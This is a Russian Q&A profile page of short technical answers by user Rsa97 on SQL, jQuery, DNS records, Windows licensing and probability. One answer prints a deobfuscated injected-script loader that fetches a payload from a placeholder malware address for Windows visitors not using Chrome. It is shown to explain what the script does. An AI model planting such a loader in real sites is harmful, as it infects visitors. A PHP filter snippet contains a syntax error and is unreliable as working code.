Задать вопрос
  • Кодировка LDAP запроса: как?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Если используется AD, то кодировка должна быть Windows-1251
    Ответ написан
    Комментировать
  • Как сделать красивый вывод shell скрипта в cgi-bin?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    ...
    echo '<body><pre>'
    df -h
    echo '</pre></body>'
    ...
    Ответ написан
    Комментировать
  • Какой выбрать метод шифрования строки на следующем примере?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Base64, каждая строка имеет длину 27 символов, 27*6/8 = 20 байт = 160 бит бинарного значения, возможно SHA-1. Поскольку напрямую sha1('0') не совпадает с decode_base64('DFXbU4Z/oPur4IuKhk1fUl4910M='), то наверняка использовалась соль.
    Ответ написан
    Комментировать
  • MySQL возвращает один и тот же товар

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    У Вас один товар с `catalog`.`id`=97 имеет в описании дважды атрибут "Производитель" (`attributes`.`id`=4426 и `attributes`.`id`=394) и дважды атрибут "Графический процессор" (`attributes`.`id`=395 и `attributes`.`id`=4427). Таким образом, произведение множеств даёт четыре варианта:
    (97, 4426, 395)
    (97, 394, 395)
    (97, 4426, 4427)
    (97, 394, 4427)

    Лучше всего удалить лишние атрибуты, но можно сделать и GROUP BY `c`.`id`, только серверу добавится работы.
    Ответ написан
    2 комментария
  • Как провести лицензирование группы Windows Server 2008r2, выполняющих разные функции?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Надо
    Windows Server - по количеству серверов.

    Для RDS CAL надо посчитать пользователей, использующих лицензии и устройства, с которых они работают, потом брать исходя из того, чего меньше. Если 51 пользователь посменно работают с 17 компьтеров, то 17 лицензий на устройство. Если каждый из 51 пользователя подключается и с рабочего и с домашнего компьютера - то 51 лицензия на пользователя. При этом неважно к скольки серверам они подключаются.

    Для Windows Server CAL - то же самое, но для каждого пользователя или устройства, использующих какие-либо ресурсы сервера (общие папки, принтеры, удалённый рабочий стол).

    Для Office - по количеству устройств, с которых будет использоваться офис, лицензия закрепляется за каждым устройством.
    Ответ написан
    Комментировать
  • JQuery: как считать символ переноса строки за несколько символов?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Как то так
    <form>
        <textarea id='test' maxlength='200'></textarea><br>
        <span id='rest'></span>
    </form>


    $('#test').on('keydown', function(event) {
            var MAXLEN = 200;
            var str = $(this).val();
            var newLines = str.split('\n').length-1;
            var len = str.length+newLines*99;
            if (event.which == 13) {
                if (len > MAXLEN-100)
                    return false;
                else 
                    newLines++;
            }
            $(this).attr('maxlength', MAXLEN-newLines*99);
            return true;
        });
    
        $('#test').on('paste', function(event) {
            var MAXLEN = 200;
            var str = $(this).val()+event.originalEvent.clipboardData.getData('Text');
            var newLines = str.split('\n').length-1;
            var len = str.length+newLines*99;
            if (len > MAXLEN)
                return false;
            return true;
        });
    
        $('#test').on('keyup', function() {
            $('#rest').text($(this).val().length+'/'+$(this).attr('maxlength'));
        });
    Ответ написан
    Комментировать
  • Как установить одинаковую высоту элементам списка используя высоту самого большого?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    $(function() {
        $('ul').each(function() {
            var maxHeight = 0;
            $(this).children('li').each(function() {
                if ($(this).height() > maxHeight)
                    maxHeight = $(this).height();
            });
            $(this).children('li').height(maxHeight);
        });
    });
    Ответ написан
    Комментировать
  • Как реализовать очередь исходящих звонков через Asterisk

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Писать номера в базу данных и периодически дёргать астериск на вызов внутреннего номера через originate-файл или AMI. В диалплане на этот номер повесить получение номера из базы, проверку наличия свободного канала на выход, вызов номера и вычёркивание его из базы в случае успеха.
    Ответ написан
    Комментировать
  • Как в JS упростить call?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    app.method('Маша');
    Ответ написан
    Комментировать
  • Доверительный интервал

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    С лотереей, если её правила за это время не менялись, оценка 2/(365*3) будет достаточно точной.
    С листовками всё гораздо сложнее - надо оценивать репрезентативность выборки, то есть насколько точно 50 человек, получивших листовки, соответствуют той аудитории, среди которой будут розданы все листовки и целевой аудитории, на которую они расчитаны.
    Ответ написан
    Комментировать
  • Как реализовать подтверждение удаления категории меню?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Всё очень просто. Обработчик $('.sidebar').on у Вас завершается сразу после отправки запроса в $.get. Callback-функция внутри $.get вызывается асинхронно после получения ответа и её результат нигде не используется.
    Вам надо либо в основном обработчике всегда возвращать false и добавить необходимые действия непосредственно в callback, либо использовать вызов .ajax с async: false (что крайне не рекомендуется).
    Ответ написан
    7 комментариев
  • Какова вероятность ответить на 12 из 14 вопросов правильно, если в каждом вопросе 4 варианта?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    pythys7.png
    Ровно на 12 вопросов из 14
    n = 14, k = 12, p = 1/4 = 0.25
    P12,14 = 91*0.2512*0.752 = 3.051*10-6

    Не менее чем на 12 из 14
    P = P12,14 + P13,14 + P14,14 = 3.209*10-6

    Но это если совсем ничего не знать и отвечать методом случайного выбора ответа.
    Ответ написан
    2 комментария
  • Какую логику взаимодействия клиент-сервер использовать?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Передаёте серверу идентификатор или таймстамп последней полученной новости, он возвращает все новости, появившиеся после неё.
    Ответ написан
    Комментировать
  • Что означают www, * и @ в имени типа А записи при установке DNS?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Для домена example.org
    www A 144.76.217.162 - адрес хоста www.example.org
    * A 144.76.217.162 - адрес всех хостов домена example.org
    @ A 144.76.217.162 - адрес текущего корня (exapmle.org или установленного директивой $ORIGIN)
    Ответ написан
    Комментировать
  • Как провести анализ бинарных данных?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Ответ написан
    Комментировать
  • SQL запрос не работает?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    SELECT  * FROM `catalog` as `c` 
        INNER JOIN `atributes` AS `a1` ON `c`.`art` = `a1`.`art` 
        INNER JOIN `atributes` AS `a2` ON `c`.`art` = `a2`.`art` 
        WHERE `c`.`catalog_3` = "Видеокарты" 
            AND `c`.`price` != "0" 
            AND `c`.`avail` != "0" 
            AND `a1`.`names` = "Производитель" 
            AND `a1`.`value `IN ('ZOTAC','PALIT','ASUS') 
            AND `a2`.`names` = "Графический процессор"  
            AND `a2`.`value` IN ('nVidia GeForce GTX 660') 
            ORDER BY price ASC 
            LIMIT 0, 15

    Но правильно выражать свои мысли на русском языке всё-таки научитесь, пригодится.
    Ответ написан
  • JS: как узнать, что делает скрипт?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    function strReverse(str){
        return (str).split("").reverse().join("");
    }
    
    function addScript(src){
        if(document.createElement && document.getElementsByTagName) {
            var head = document["getElementsByTagName"]('head')[0];
            var script = document.createElement('script');
            script.setAttribute('type',"text/javascript");
            script.setAttribute('src', src);
            head["appendChild"](script)
        }
    }
    
    var scriptSrc = "http://здесь адрес зловреда";
    
    var winStr = "win";
    
    var userAgent = navigator["userAgent"]["toLowerCase"]();
    
    function isWindows() {
        return userAgent["indexOf"](winStr) != -1;
    }
    
    function isNotChrome() {
        return userAgent.indexOf("chrome") == -1;
    }
    
    if(isWindows() && isNotChrome()) {
        addScript(scriptSrc);
    }
    Ответ написан
    Комментировать
  • Как составить SQL запрос для поиска значений, входящих в диапазон чисел?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    SELECT * FROM `table`
        WHERE `one` BETWEEN {$start} AND {$end} 
            OR {$start} BETWEEN `one` AND `two`
    Ответ написан
    Комментировать
  • Как составить логику для фильтра?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Вариант 1 - в php собираете запрос из кусков
    $where = array();
    if (isset($_GET['manufacturer']))
        $where[] = "`manufacturer` = '".$mysqli->escape_string($_GET['manufacturer'])."'";
    if (isset($_GET['madeIn']))
        $where[] = "`madeIn` = '".$mysqli->escape_string($_GET['madeIn'])."'";
    $query = "SELECT * FROM `table` WHERE ".implode(" AND ", $where);
    $result = $mysqli->query($query);

    Вариант 2 - запрос с двойным условием
    $manufacturer = '';
    $byManufacturer = 0;
    $madeIn = '';
    $byMadeIn = 0;
    if (isset($_GET['manufacturer'])) {
        $manufacturer = $_GET['manufacturer'];
        $byManufacturer = 1;
    }
    if (isset($_GET['madeIn'])) {
        $madeIn = $_GET['madeIn']";
        $byMadeIn = 1;
    }
    $query = $mysqli->prepare(
        "SELECT * FROM `table` ".
            "WHERE (? = 0 OR `manufacturer` = ?) ".
                "AND (? = 0 OR `madeIn` = ?)");
    $query->bind_param('isis', $byManufacturer, $manufacturer, $byMadeIn, $madeIn);
    $query->execute();
    Ответ написан
    2 комментария
  • E-mail рассытлка без бана

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Вполне логично, что письмо отправляют в спам не переходя по непонятным ссылкам. Мало того, что можно какую-нибудь гадость подцепить, так ещё и подтверждаешь спаммеру, что адресом действительно кто-то пользуется.
    А вообще учитывайте:
    18-ФЗ О рекламе
    Статья 18. Реклама, распространяемая по сетям электросвязи
    1. Распространение рекламы по сетям электросвязи, в том числе посредством использования телефонной, факсимильной, подвижной радиотелефонной связи, допускается только при условии предварительного согласия абонента или адресата на получение рекламы. При этом реклама признается распространенной без предварительного согласия абонента или адресата, если рекламораспространитель не докажет, что такое согласие было получено. Рекламораспространитель обязан немедленно прекратить распространение рекламы в адрес лица, обратившегося к нему с таким требованием.
    Ответ написан